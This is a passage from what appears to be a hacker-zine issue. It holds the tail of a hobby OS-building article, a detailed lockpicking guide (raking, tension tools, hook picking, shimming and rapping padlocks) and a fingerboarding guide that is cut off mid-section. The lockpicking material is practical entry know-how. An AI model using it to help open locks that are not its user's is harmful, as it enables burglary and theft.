higher up. Some compilers won't accept a mixture of 16-bit and 32-bit instructions, or they get persnickety and encode instructions incorrectly. If you look at the FAR JMP that I make at the end of setUpMemory(), you'll notice that I had to code it manually. My situation was even more tenuous because I was fitting everything into a single segment. Once I had made the translation to protected mode, there wasn't that much that I could do that was very interesting. One solution would be to convert my 16-bit system code into the second phase of a multi-stage boot process. In other words, have the system code, which was loaded by the boat sector, load a 32-bit binary into memory before it makes the transition to protected mode. When the FAR JMP is executed, it could send execution to the 32-bit code ... which could then take matters from there. If you look at MMURTL, you will see that this is exactly what Burgess does. Doh! I just wish I had known sooner. I was excited initially by the thought of being able to leverage the Micro- C compiler. However, as you will see, most of the set up work was done via in-line assembly. Only small portions were pure C. This is the nature of initializing an OS. Key memory and task management functions are anchored directly to the hardware, and the best that you can hope for is to bury the assembly code deep in the bowels of the OS and wrap everything in C. Here is the system code (os.c), in all its glory: /* os.c ----------------------------------------------------------------*/ void printBiosCh(ch) char ch; { /* ch = BP + savedBP + retaddress = BP + 4 bytes */ asm "MOV AH,0EH"; asm "MOV AL,+4[BP]"; asm "INT 10H"; return; }/*end printBiosCh---------------------------------------*/ void printBiosStr(cptr,n) char* cptr; int n; { int i; for(i=0;i osPre.asm Note, mcp is Micro-C's pre-processor. Chuck it all in one 16-bit segment: convert osPre.asm Once I had an .ASM file in my hands, I assembled it: ML /Fllist.txt /AT /Zm -c osPre.asm Note how I've had to use the /Zm option so that I can assemble code that obeys conventions intended for earlier versions of MASM. This step is typically where the problems occurred. Needless to say, I became tired of fixing up segment prefixes rather quickly and that is what led me to write convert.c. Finally, after a few tears, I linked the OS object file to one of Micro-C's object files. LINK os.obj PC86RL_T.OBJ /TINY If you look back at convert.c, you'll see a whole load of EXTRN directives. All of these imported symbols are math libraries that are located in the PC86RL_T.OBJ file. If you have a copy of NASM on your machine, you can verify your work with the following command: ndisasmw -b 16 os.com This will dump a disassembled version of the code to the screen. If you want a more permanent artifact, then use the listing file option when you invoke ML.EXE: ML /AT /Zm /Fl -c os.asm Once you have the OS and boot sector code built. You should burn them on to the boot floppy. You can do so with the DOS debug utility. C:\DOCS\OS\lab\final>debug boot.com -l -w cs:0100 0 0 1 -q C:\DOCS\OS\lab\final>debug os.com -l -w cs:0100 0 1 2 -q After that, you just boot with the floppy disk and hang on! I hope this article gave you some ideas to experiment with. Good luck and have fun. "Contrasting this modest effort [of Seymour Cray in his laboratory to build the CDC 6600] with 34 people including the janitor with our vast development activities, I fail to understand why we have lost our industry leadership position by letting someone else offer the world's most powerful computer." -Thomas J. Watson, IBM President, 1965 "It seems Mr. Watson has answered his own question." -Seymour Cray --[ 4 - References and Credits [1] Operating Systems: Design And Implementation, Andrew S. Tanenbaum, Prentice Hall, ISBN: 0136386776 This book explains how the Minix operating system functions. Linux was originally Linus's attempt at creating a production quality version of Minix. Minix is an Intel OS. [2] MMURTL V1.0, Richard A. Burgess, Sensory Publishing, ISBN: 1588530000 MMURTL is another Intel OS. Unlike Tanenbaum, Burgess dives into more sophisticated topics, like memory paging. Another thing I admire about Burgess is that he'll answer your e-mail without getting snooty like Tanenbaum. If Minix gave birth to Linux, then MMURTL may also be reincarnated as the next big thing. [3] Dissecting DOS, Michael Podanoffsky, Addison-Wesley Pub, ISBN: 020162687X In this book, Podanoffsky describes a DOS clone named RxDOS. RxDOS is presented as a real-mode OS and is written entirely in assembly code. [4] FreeDOS Kernel, Pat Villani, CMP Books, ISBN: 0879304367 Another DOS clone ... but this one is written in C, whew! [5] Virtual Machine Design and Implementation In C/C++, Bill Blunden, Wordware Publishing, ISBN: 1556229038 Yes, it's time for the self-plug. Writing a VM is really only a hop, skip, and a jump, from writing a simulator. My book presents all the information in this article and a whole lot more. This includes a complete virtual machine, assembler, and debugger. [6] Linux Core Kernel Commentary, 2nd Edition, Scott Andrew Maxwell, The Coriolis Group; ISBN: 1588801497 This is an annotated stroll through the task and memory management source code of Linux. [7] The Design and Implementation of the 4.4BSD Operating System, Marshall Kirk McKusick (Editor), Keith Bostic, Michael J. Karels (Editor) Addison-Wesley Pub Co; ISBN: 0201549794 These guys are all deep geeks. If you don't believe me, look at the group photo on the inside cover. This book is a comprehensive overview of the FreeBSD OS. [8] The Undocumented PC : A Programmer's Guide, Frank Van Gilluwe, Addison-Wesley Pub, ISBN: 0201479508 If you're doing I/O on Intel, it truly helps to have this book. [9] Control Data Corporation There are a numerous old fogeys from Control Data that I would like to thank for offering their help and advice. Control Data was killed by its management, but there were a handful of gifted engineers, like Cray, who made sure that some of the good ideas found a home. [10] IBM and the Holocaust: The Strategic Alliance Between Nazi Germany and America's Most Powerful Corporation, Edwin Black, Three Rivers Press; ISBN: 0609808990 I originally heard about this through one of Dave Emory's radio broadcasts. Mae Brussell would agree ... profit at any cost is not a good thing. I would like to thank George Matkovitz, who wrote the first message-based kernel in the world, and Mike Adler, a compiler wizard who was there when Cray whipped IBM for sharing their thoughts and experiences with me. |=[ 0x03 ]=--------------------------------------------------------------=| L O C K P I C K I N G BY /< n i g h t m a r e As per usual, I accept no responsibility for your actions using this file; It is only here to show how locksmiths gain access when keys are missing or broken. CONTENTS INTRODUCTION 1 The warded Lock 2 Pin-tumbler lock and wafer locks 3 Wafer locks 4 The tension wrench turning tool 5 Raking pin-tumbler locks and wafer cylinder locks 6 Picking locks without a Turning tool 7 The lock gun 9 Pure picking 10 Opening locks without picking 11 Rapping open locks 12 TOOLS AND APPARATUS INTRODUCTION The main purpose of writing this work is to provide the modern student with an up-to-date, accurate book to enable him to explore the fascinating subject of lock picking. In by gone years, people who were drawn to magic of the lock, were tempted to 'pick locks', and were confronted by obstacles to protect the lock, such as devices which would shoot steel barbs into the picker's hands. vicious toothed jaws were employed to cut off the thief’s fingers. perhaps the most fearsome lock pick deterrent was a devilish device which would fire a bullet if the locking mechanism was tampered with. Books and manuscripts over the years change hands. Unfortunately, in the case of this type of work, it could fall into the wrong hands. However unlike such works as '1001 ways to have fun with a Frankfurter', the person who is merely curious will find this work tiresome and unpalatable, leaving the true enthusiasts to explore the teasing allure of the lock. This unique animal who has ingenuity and patience to follow through the fascinating study, will be rewarded in the knowledge that he is in the elite company that I salute in this work. for the people who argue books on this subject should not be written, I would like to point out that a villain who wishes to gain entry into a property in happier with a brick than a pick. Have fun and enjoy your new hobby or trade ! CHAPTER 1: THE WARDED LOCK Probably the best place to begin this book is at the point at which mass lock manufacture began, with the WARDED LOCK. These locks are generally of simple construction, These are of simple construction and generally, and therefore recommended for the beginner. The dictionary defines 'ward' as 'to guard, keep away, or to fend off', which in reality is exactly what the lock does. (See FIG. 1.) The small circular section is the ward with the wrong type of key attempting to open the lock. Ti is quite obvious that if this key were to be turned, its turning path would be halted by the protruding ward. ___________ ____ __________ ____ ________ ) / \ \ ______ ) / \ \ | _| | | | <-Wards | [ | | | |[ \____/ Bit -> |__[ \____/ FIG. 1 FIG. 2 FIG. 2 shows the correct key which will open the warded lock. It has just the right cuts on the bit to miss the wards. warded locks are found in many forms. FIG. 3 is a normal key, with an intricate patterned bit which would open an old and beautifully designed, elaborate ward lock. At this point, I would like to say that key collecting had become a hobby for many people. Since keys are quite easy to come by, a nice display can soon be obtained. __ / \__.,-,________ \__/--.,-,--------' [] [[ Normal Key FIG. 3 the security of the warded lock was further enhanced by the shape of the key hole, preventing entry to everything apart from the correct key. the extravagant shapes, in both the wards and the key holes, are the only problems which we must overcome in picking open the warded lock. we do this by inserting a pick, which is much thinner than the lock's keyhole, or by using a skeleton key. FIG. 5 shows this best in the case of the skeleton key, which would open the same lock which is in our FIG. 3. This skeleton key has been cut from a blank. The area which would fool the locks ward's has been removed, forming the new key. For the complete newcomer the world of locks, I should explain that the word 'blank' is the name given to the key before it is cut to the desired shape. ______ __.__________ | /\ | __ __ __ __| | || | ' _|| ||_ | \\ | |.-' '-.| | // | || || | C| | skeleton|'-. .-'| | || | key '--' '--' |______| FIG. 4 FIG. 5 FIG. 6 looks inside a typical warded padlock. It is clear that, because of the wards which obstruct the turning, only the correct key (as shown) will open this lock. it is guarded by six, close-fitting wards, and also by the small, thin keyhole. _____ / ___ \ __/ / \ \__ | \___/ | \ / \____ ____/ / \ ______| |______ | __ ( ) __ | .---> | (__| | | |__) | | | < > | Wards ---|---> | ====| |==== | | | ( ) | '---> | =====|_ _|===== | | [[[[(_____)]]]] | | (_) | |_________________| Y Y | | Opening spring FIG. 7 shows how we overcome this lock with a key that has been skeletoned, and which will now open this and many others. This has been achieved by removing all the projections other than the end which comes into contact with the spring-opening point. Take a look and make sure you read and understand this before moving on. __ _ __nn_n/ \_ (_| |______ o_: _ __ _\__/ U UU U FIG. 7 FIG. 8 is a warded pick in it's most simple form - a coil spring with it's end bend and flattened. If the coil is of suitable diameter, it will fit onto the end of your index finger. This forms, as it were, an extension of your finger, and you will find that it is a highly sensitive tool to fell the layout of the interior and so find and trigger the mechanism. This sensitive manipulation can be achieved only with practice. If the spring pick becomes weak or bent simply pull out a new length from the coil and you have a brand new tool. Before we move on, I would suggest that you build up a large set of picks of different sizes. ________________________________________ | ____ | | /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | | |________________________________________| Coil Spring FIG. 8 Look inside as many locks as possible -- it's the finest way of becoming a lock expert. picking locks is a true art form and even more difficult than learning to play a musical instrument proficiently. Here is a useful lock picking set to make: ____ / \_____________| \____/ | ____ / \_____________. \____/ ' ____ / \___________._. \____/ ' ' ____ / \_____________ \____/ | ____ / \___________|_| \____/ | | ____ / \____________.- \____/ '- FIG. 9 In summing up the subject of warded locks, I would say that once you have clearly understood that the wards simply guard the opening, and also that the actual shape of the keyhole prevents the wrong key entering, you are well on the right path to becoming a total master at this type of lock. start looking for warded locks: they are usually older locks or at the cheap end of the market. The most difficult task before the novice must be to identify the particular type of lock he is trying to pick. Is the lock a WAFER or PIN-TUMBLER? Or, in the case of the raw beginner, is the lock a LEVER or PIN-TUMBLER? There is no simple answer. The ability to identify the particular types comes only with practice and study. Open up as many old locks as you can and study the principles, LOOKING ALL THE TIME FOR WEAK POINTS which are built into the design. Believe me, ALL locks have weak points. CHAPTER 2: PIN TUMBLER and WAFER LOCKS As in all lock picking, it is an advantage that the student is fully conversant with the basic operation of the lock. In the case of the PIN-TUMBLER and WAFER it is absolutely vital. The number of times I have read leading works on the subject, and then asked myself if I would fully understand how the lock worked from their description ! each book I read failed to explain accurately and precisely how these locks work and can be picked. what follows is my own humble effort to right this wrong. You yourself must judge if I have obtained this objective. When we first look at this type of lock, it would appear that all necessary to insert a small implement into the keyway and give it a turn for the device to open. plainly this is not the case, as we can see when we take a closer look at FIG. 10 This is a typical PIN-TUMBLER lock, and generally consists of pairs of bottom pins made from brass and with the top drivers formed in steel. Commonly, five pairs of pins are found. in the smaller, cheaper models, four are more common. ______________________________ \ K | | | | | | / E | | | | \ Y [|] Upper tumbler pin ^ ^ / H [^] Lower tumbler pin ^ ^ ^ ^ ^ ^ \ O [-] Cylinder wall / L This is a greatly simplified \ E drawing ______________________________/ FIG. 10 _______ Shear Line / ___ \ - - - - -| |///| | <-- Springs / |[ ]|<-\----- Top Drivers Plug\ \ @ /<-/----- Bottom Pins \___|___/ Key FIG. 11 _______ Shear Line / ___ \ - - - - -| |///| | / |[ ]| /\ \ / / / <-- Plug Turning \___///_/ FIG. 11a ________ / \ Shearing Line --> __ _ ___ _ ___ _ ___ / \ A / _ _ _ _ _ \/ /\ \ / |_||_||_||_||_| ___/\ \/ / K \ / \/\/\/\/\/\/\____\/ / E \____________________/\__________/ Y FIG. 12 FIG. 11 is the end-view of the arrangement. Each of the locks shown in FIGS. 10, 11 and 12 are ready to open, since in each case they have been given the right key ready to turn the plug. FIG. 12 shows each of the five bottom brass pins settled into it's own notch along the key. This ha the effect of bringing the point between the drivers and the pins EXACTLY to the same height. ONLY THE PROPER KEY WILL ALIGN ALL FIVE PINS AT THIS HEIGHT, WHICH WE CALL THE SHEAR OR SHEARING LINE, AT THE SAME TIME. All five pins must be in line together, and, when we have this state of affairs, the plug will turn opening the lock. FIG. 11a shows the plug starting to turn. FIG. 11 is an end-view, and shows the shaded plug ready to turn. Make sure you fully understand this before you go on. Most students fail to understand that the bottom brass pins TURN WITH THE PLUG. FIG. 13 shows this. the top holding drivers stay put in the chambers in the outer case. Remember that the bottom pins must turn with the plug because they are contained within unit. It is important to know that if only one notch on the key is even SLIGHTLY wrong, too high or too low, the plug would be prevented from turning, just one pin, sitting into this plug from the outer case, has such an amazing strength that it would be impossible to snap -- such is the power of each little pin. ::::: ___ ##### <-- Top Drivers / \ooooo Plug Turning | \___/===== <' OOOOO <-- Bottom pins FIG. 13 I have cut away the plug in FIG. 13 and the pins can clearly be seen in the turning motion. With all the required points within the lock aligned, the plug must and will turn. However, let us take a look at what would happen if the wrong key were inserted. FIG. 14 shows this, with the top drivers, still inside the plugs, preventing it from turning. The wrong key is just as bad as no key, and the lock stays locked. Chambers ______/___|___\______ | / | \ | | \/ V \/ | | __ __ __ | --------| __ | | | | | | |-------- <-- Shear line Plug --> _|_| |_| |_| |_| |_|_ [ | | | | | | | | | | ] [ | '--' '--' '--' '--' | ] [ | .--. .--. .--. .--. | ] [ | '--' '--' '--' '--' | ] [_|_____________________|_] '---------------------' FIG. 14 FIG. 15 is the end-view, showing the top driver inside the plug, preventing the turning, and the driver just below the shearing line. I have already said that these little drivers are manufactured from steel and are very strong indeed, overcoming any force that a normal wrong key or instrument could present. even if there were only one little driver inside the plug, it would still be unable to rotate, or be snapped at the shear line. Now multiply that strength by five, and I am sure that you will understand it's almost superhuman strength. Before I move on I must explain that there a no skeleton keys which will magically open this lock, or it's brother the WAFER. Note top drivers are inside plug ______ preventing any turning /______\ // == \\ || == || || () || Shearing line --> -----||-[||]-||----- || [==] || \\__##__// ## - Bottom pins \______/ [==] Plug FIG. 15 The turning tool replaces the bottom part of the key, and the pick replaces the notches on the key. Just think of the turning tool as part of the key, and the pick as the notches. Once you have all the points inside the line, only a small amount of light pressure is needed to turn the plug. Most books on the subject stress that too much pressure is wrong. FIG. 20 shows the top driver inside the chamber binding on three points, because the tension is too great. Trial and error seems to be the only true way, with only light turning applied. Chapter 3: WAFER LOCKS FIG. 16 shows a single-sided wafer lock. This type of lock contains WAFERS instead of pins and drivers, and is known as a DISC-TUMBLER instead of a pin tumbler. the wafers, five as in a pin-tumbler, are held in place by a small, light spring, as shown (left hand side) of FIGS. 16 and 17. FIG. 16 shows the lock closed, and FIG. 17 open. The wafer lock is best opened by RAKING, which is explained later in this work. ________ ________ / __ \ / __ \ =| / \ | =| / \ | =| | | | =| | | | /_ \__/ | /_ \__/ | \__ __/ \__ __/ --.\__/.-- __ \__/ __ '----' '____' Locked Unlocked FIG. 16 FIG. 17 Chapter 4: THE TENSION WRENCH TURNING TOOL Probably the single most important factor in lock manipulation is the use of the TENSION WRENCH which I prefer to call the TURNING TOOL. perhaps if it had been given this name in the first place, hundreds of aspiring locksmiths would have had greater instant success. I maintain that the word 'tension' implies that great pressure has to be exerted by this tool. Add to this the word 'wrench' and totally the wrong impression is given. in order that you will fully understand the use of this turning tool, I will explain it's simple function. FIG. 18 shows an normal pin-tumbler or wafer key; FIG. 19 shows the key cut away. This bottom section is now a turning tool. the reality is that the notches along the key would lift the bottom pins level with the shearing line, and the part beneath would turn the plug. ____ ____ ,_^^,^,-.-^. / \,_^^,^,-.-^. / \/'_____________ \____/-----------' \____/---------------' <-- Turning tool FIG. 18 FIG. 19 The turning tool replaces the bottom part of the key, and the pick replaces the notches on the key. Just think of the turning tool as part of the key, and the picks as the notches. Once you have all of the points inside the line, only a small amount of light pressure is needed to turn the plug. Most books on the subject stress that too much pressure is wrong. The student must first know why too much tension is wrong. FIG. 20 shows the top driver inside the chamber binding on the tree points, because the tension is too great. Trial and error seems to be the only true way, with only light turning applied ___________ | ------. <|----Spring | .-----' | Top chamber | '-----. | | .-----' | | _'--_____ | Binding || || | || || V ______|| ||______ ------.|_________|.------ Shear line | | <-- Binding FIG. 20 If you are raking open a lock, no real pressure need be applied because the pins and wafers MUST be free to bounce into line with the shearing line. if too much pressure is used, it prevents this as shown in FIG. 20. Multiply the one shown by, and you can imagine the lock is well and truly bound tight. I have used a lot of words in trying to say what has not been put in print before. | --------------' | .--------------' | TURNING TOOLS FIG. 21 The turning tools are shown in FIG. 21. Once again, I get onto my high horse, and say that it is not necessary to have lots of different turning tools in your kit. it is complete nonsense to have light, medium and heavy tools. Further confusing the is the term used to rigidity of the different types. This is termed the 'weight', but most of my students mistakenly assume the actual weight is important to the turning potential. the best is to choose a medium weight tension wrench and from then on call it a turning tool. If I am not careful I will change the whole lock picking vocabulary. The best and easiest wafer or pin-tumbler locks to open are the ones which contain the smaller pin or wafer sizes together in the same lock, i.e. small pins in each chamber and ideally all about the same length. When this state exists, the method to open the lock is by RAKING. Chapter 5: RAKING PIN-TUMBLER AND WAFER CYLINDER LOCKS The first plan of attack on any lock of this type, whether it is a padlock protected with this locking arrangement, a door on a car or a house, is to try raking. the turning tool fits into the bottom section of the keyway, as shown in FIG. 22, with just the weight of your finger. No visible bend should be seen on the tool, otherwise it will be found impossible to pick open the lock with this method. ________________________ / \ the tools got to / \ be at 45 DEG. / ______ \ parallel like \ / n \ / so: // \ ********@____/ / \ / / *** the pick \ / / / turning tool \____/_______________/ FIG. 22 Using the picks shown in FIG. 23, we rake the lock, as we shall explain later, starting with pick number one and working up through until you open the lock. Perhaps, before we get down to the actual method of raking, we had better take a close look at the make-up of this tool, known as a RAKE. Look again at FIG. 23. Notice that 1B is just the same as 1A except that it has been cut in half, giving the half double ball. 1C is a silhouette of them both. If we look closely at 2A, 2B and 2C, we find they are arranged just the same as the first group. 3A, 3B and 3C are know as DIAMONDS because of their shape. There seems to be no reason for A, B and C in each of the groups 1, 2 and 3 other than, in the case of the diamonds, for use in smaller locks. Don't let the different sizes bother you, but just use whatever you have in your set. RAKING TOOLS FIG. 23 1A 1B 1C | - | / | /| \ / \ / \ / \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |_| |_| |_| Double Half Silhouette Ball Double Double Rake Ball Rake Ball Rake 2A 2B 2C o | o / /\ \ | / \ / \ / \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |__| |_| |_| Full single Half Single Silhouette Ball Rake Ball Rake Single Ball Rake 3A 3B 3C < <| _ |> | <| | /_| || Handy | /| | || || Double /| / | /| 4 || || Ended | | | | | | || || Rake | | | | | | || || | | | | | | || || | | | | | | / \ || | | | | | | | | \\ |_| |_| |_| /____\ // 3 Diamond Rakes In FIG. 23 I have included a number 4, which is sometimes mistaken by students for a raking tool, but which is, in fact, a broken key extractor, and has nothing to do with raking. I have shown it's end in close up in the illustration so that there can be no mistake. The number 5 is a double-ended rake, which combines on one end a diamond and on the other a silhouette double ball. HOW RAKING WORKS While we are taking a close look at things, it is a good time to do the same thing with the action of raking, in order that you will fully understand how it works. Select any of the number 1 raking tools (FIG. 23), and insert it into the lock so that it touches the back of the lock and is in contact with the back bottom pin of the lock. The pick is then drawn from the back of the lock very quickly (see FIG. 24). Rake is pulled out causing top driver and bottom pin to ===== ===== ===== ===== ===== vibrate about the ===== ===== ===== ===== ===== shear line. .---. .---. .---. .---. .---. | ^ | | | | | | | | | | | | Shearing | | | | | | | | | V | Shearing Line ______ '---' '---' '---' '---' '---' _____ Line .---. .---. .---. .---. .---. Front of | | | | | | | | | ^ | Back Lock '---' '---' '---' '---' '-v-'_ of the /-\_________________________________________/ \ (______________________________________________/ Rake being pulled out <--------------- This action has the effect of causing all the pins, which have been in contact momentarily with the rake's passage out of the cylinder to vibrate, each pin lifts the top driver out of the plug with this vibrating momentum given> The whole thing is really a bit hit and miss, because some of the top drivers will be out will others are still holding the plug. We must repeat with the same rake about twenty times, and only if unsuccessful then move on to another, following the pattern outlined in FIG. 23. When we rake a lock, we are raising the pins inside the lock to the shear line. moving through the different shaped picks varies the pattern of the lift as the tool is repeatedly drawn out. The pins and drivers are bouncing about the shear line, just waiting to please you and be at the right height to open as you turn with your turning tool, which has been in place throughout. I MUST STRESS THAT THE TURNING TOOL HAS NOT BEEN EXERTING A CONSTANT TURNING PRESSURE, OTHERWISE THE PINS WOULD BIND, AS SHOWN IN FIG. 20. The pressure exerted is best described as a pulsating one. Gentle pressure must only be on as the rake is leaving the lock on the way out. No pressure is on as the pins are vibrating. The pins vibrate and the pulsating turning tool turns the plug, so opening the lock. If too much pressure is applied at the opening wrong moment, binding takes place and picking is impossible. Normally, I first test a lock by inserting my Turing tool into the lock, turning it in both directions. Any slight movement tells me a few things about the locks without actually seeing inside it. If has a lot of movement in each direction, then it is going to be an easy lock to open. Its general condition tells me if it is an old, worn or cheap lock. if you find little movement an the lock is known to be a good one, then it is going to take a little longer or require another technique. Chapter 6: PICKING LOCKS WITHOUT A TURNING TOOL A useful tip, for those long practice sessions or demonstrations, is to bend the connecting cam downwards as shown in FIG. 25. If the lock is held as shown in FIG. 26 you will find that it eliminates the use of the turning tool. My advice to the beginner is to try raking with the index finger, pulsating on the lock's cam. _ ( )----------. | |__________|____ | | )_ | | ) | | )____ | | LOCK )---.| | | _) ^|| | | ___) / || | | | / '' <-- Cam (_)-----------' BEND FIG. 25 _ / \____ Finger provides / \ \_) <----- turning /___/-\ \ / / (__) _||_ (____) || || || || || || FIG. 26 '' Pick held in other hand Another practice tip is to remove two sets of pins and drivers, leaving three sets within the lock, thereby reducing the strength and making it a little easier to manipulate. Chapter 7: THE LOCK GUN This useful tool is really a super raking device. pulling the trigger causes the needle probes to flick upwards, and this has the effect of bouncing the pins about the shearing line. this tool is capable of producing a continuous vibration of the pins, making picking easy. It is a useful tool, and a nice addition to your toolkit. The gun is shown in FIG. 27. _______/\ <.|- \__ \ \_______ \ |_/ / . _____| =[] / | \\ \ / / \\ \__ / . / (| |_____/ .------ Lock Gun | FIG. 27 Chapter 8: THE LOCK MASTER Before we leave raking, perhaps we had better look at my own invention, the LOCK MASTER, which has certain advantages over the lock gun, and even more disadvantages. That said, its main advantage is a big one -- it completely eliminates the need for a turning tool. Its bottom section has its own turning tool built in. FIG. 28 shows the tool. the top is flicked with the index finger nail, and the probe is returned to the horizontal by means of two small springs. the finger snaps away while the master is twisted, again in the pulsating fashion. The main disadvantage is that you have to have different LOCK MASTERS for different size lock. ________________ /----------#-(.)-\- ___________#_(.)_ (______________ )____ Lock Master /\__) \ | | \________/ FIG. 28 Chapter 9: PURE PICKING I like to think of my next section as 'pure picking', because that is precisely what we do. Each pin is lifted in turn, lifting the driver clear of the plug. Remember that earlier I advised the beginner to remove a couple of set of pins and drivers. This is perhaps when you will find this most useful. Turning is applied by the turning tool, or my own bent cam motion. The HOOK PICKS shown in FIG. 29 are used. Pure picking ------------------- --. \ Top __ __ __ | | Chambers |==||==||==| / \ / \ '-------> |==||==||--| | | | | ____|--||--|'--|___ <--- Shear Line | | | | '--''--'.__. | | | | .--..--.| | | | | | '--''--''--' | | | | ( )_______________ | | | | \_______________/ | | | | ___________________ | | | | Hook lifting Pin to '-' '-' Shearing Line Hook Picks FIG. 30 FIG. 30 It requires a fair measure of practice, and even more patience, but the rewards once you are a master of this technique are more than words can convey. Using whatever method you choose to turn the plug, FIG. 30 shows the pick lifting the pins one at a time until they are pushed out of the plug into the top chambers. All the time, a very gentle turning motion has been applied by means of the turning tool. FIG. 31 shows the lock set to open. Set to open ___ ___ ___ | = || = || = | |.-.||.-.||.-.| Notice how the Shear line ___|'-'||'-'||'-'|___ bottom pins line _ _ _ <--------- up precisely on | | | | | | the shear line '-' '-' '-' FIG. 31 ____________ U----(____________) Small ____________ \----(____________) Medium ____________ |____(____________) Large Three sizes of Hook Picks FIG. 32 Use the correct size of hook pick, by first trying the smallest. see FIG. 32. Practice this, and you will have a gem. Chapter 10: OPENING LOCKS WITHOUT ACTUAL PICKING FIG. 33 some points of attack which you will find convenient, and which have been unknowingly built into the lock's construction by the manufacturer. The method is known as shimming. FIG. 34 shows a collection of springs and probes. go along to your local watchmaker and obtain as many as you can. Add to this blades from junior hacksaws, coping and fretsaws and you will soon have a fine collection. FIG. 33 ________ X X / ______ \ / \ / / \ \ \__/ /________\ \__ |\ |_|_------ | | | | |_,-.----.#| | | X----|--| ||_.--._||=| | | '-' .-''-. |=| | | | | |=| | | | | |=| | | '----' '=' | |__________________| Old Clock springs _____________ ________________ _________________ |_____________| [________________]'-----------------' Small,Med,Large Saw Blades ____________\_ ______________) -----------------, __________________ \ VVVVVVVVVVVVVVVVV vvvvvvvvvvvvvvvvvv' FIG. 34 Taking advantage of the lock's weak points, we insert our clock spring or saw blade between the point where the two halves of the lock case meet, or down the side of the shackle, following the line of the bow, and so pushing back the spring-loaded bolt. CHAPTER 11: RAPPING OPEN LOCKS Look at my FIG. 35, which shows a pin-tumbler lock about to be opened by rapping. the blow must be sharp but not heavy. ___ Sharp | | Blow FIG. 35 _| |_ \ / Pins \ / __ line up \ / | | on the ________V_____| | Shear Line Blow causes | __ _ _ _ _ | the pins and | |==||=|=|=|=| | drivers to |-|V ||V|V|V|V|___| Shearing vibrate -----| |^ ||^|^|^|^| |------- | |V ||V|V|V|V| | Line | |--||-|-|-|-| | | '--''-'-'-'-' | '______________ | | | |__| How Rapping works The blow should be only to the point shown. It has the effect of causing the pins to vibrate and to split at the shearing line, as in raking and the lock gun methods. Just as in the other methods, we use the turning tool together with the pulsating movement. Try rapping open a spring-loaded bow (shackle) padlock before you try a pin-tumbler or wafer lock. (See FIG. 36) ______ /,^--. \ __ __/ / / \___/ / / / ---. __ \ / _/ ( \ / C. / \ \ \\ (o) / <--- Sharp blow at this \ \, | / point opens the lock \___________/ Vibration causes lock to open like magic TOOLS AND APPARATUS FOR USE IN LOCK PICKING 1 Small vice, from watchmaker's suppliers, with 2" jaws. 2 A selection of small files, from watchmaker's suppliers. 3 A junior hacksaw from hardware stores. 4 A selection of saw blades, from hardware stores. 5 Leaf gauges, from a garage. 6 Piano wire, from music shop. 7 Lock picks, from locksmiths. 8 Old clock springs, from local watchmaker. 9 Wire cutters, from hardware stores. 10 Collection of blank keys, from locksmiths. 11 Lock gun from locksmiths. 12 Oil, from hardware stores. 13 Lots of old locks, from friends. 14 Pencil torch. 15 Strong magnifying glass. 16 Patience, and a bottomless coffee pot. Get together as many locks of all types as possible. ask your friends if they can find you any old locks for which they have lost the keys. After experimenting with the locks, open them up to find out how they work. This is the finest way to becoming a true lock expert. If you are beaten by a particular lock, don’t despair. I know the feeling all to well. it's back to the drawing board, or, more correctly, the workshop. Open it up, study it's workings, then re-assemble. always LOOK FOR ITS WEAK POINTS. believe me, it will have some; you just have to look long enough and hard enough. Locks are like a chain, as strong as the weakest link. |=[ 0x04 ]=--------------------------------------------------------------=| Spyke's Beginner Guide 2 FFF III N N GGG EEE RRR BBB OOO AAA RRR DD III N N GGG F I NN N G E R R B B O O A A R R D D I NN N G FFF I N NN G EEE RRR BBB O O AAA RRR D D I N NN G F I N N G G E RR B B O O A A RR D D I N N G G F III N N GGG EEE R R BBB OOO A A R R DD III N N GGG ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- (Like anyone wants to know.. Just somin' to do in your Spare time!) ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Sections -------- 1. How to perform ollies 2. How to perform Backflips 3. How to perform shuv-its (in air) 4. How to perform Grinds 4.1 Boardslide 4.2 Darkslide 5. How to get a fingerboard ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Section : 1. How to perform ollies ================================== The ollie is possibly the first fingerboarding trick in which you should learn. It allows you to pop your finger- board into the air with your fingers allowing you to jump Onto OR over (small) objects. the first part of the ollie is to put you fingers in the correct possition (as you can see in {Fig. A}) with one finger flat on the tail and another right behind were the trucks are on the top. {Fig. A} Key ------- F=Finger \=Left Tail 0=Wheel /=Right Tail ^=Trucks _=Part of deck \____F__________F/ ^0^ ^0^ Next you hit the tail (with the finger that is placed on on the tail) lift hand and push forwards. After practice you //should// be able to get the board into the air a few inchs ({Fig. B}). {Fig. B} | 0\F \ \ \ \ 0\_F ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Section : 2. How to perform Backflips ===================================== The back flip on a finger board if diffurent to a backflip on a skateboard in the way that your fingers do not flip 360 degrees verticly (That would break your wrist) but they hover above the board while it flips. Firstly put your fingers into the ollie postition (Shown above in {Fig. A}), and hit the tail hard. Quickly lift your fingers up into the air and the board //should// flip in the air verticaly. Now for the hard bit : wait until the board flips 360 degrees then drop your fingers so it lands the correct way up,this movemnt has to be farely fast to work. ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Section : 3. How to perform shuv-its (in Air) ============================================= The shuv-it (in Air) is were you ollie your board so it spins 180 degrees horizontaly. To do this trick you must place your fingers in the ollie postition but with the tail-finger on the side on the board, not the middle (Shown in {Fig. C}), next you ollie but when you hit the tail you also turn you hand a little bit. {Fig. C} ______________________F / . . . . \ | . .F . . | \_______________________/ When the board is (hopefully) spinning in the air hit it down after it has made a full 180 degree turn. ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Section : 4. How to perform Grinds ================================== To grind, ollie the board onto the edge of somthing OR onto a pencil of bar. Section : 4.1 Boardslide ------------------------ Ollie the board and turn it 90 degrees in the air onto a thin object/edge of somthing then, push smoothly across (Refer to {Fig. D}), to land push the board off the object and turn 90 degrees back to the orginal position. {Fig. D} _ /F\ |. .| |. .| | | -------| |------- -------| |--------Grinding Object | F | |. .| |. .| \_/ Section : 4.2 Darkslide 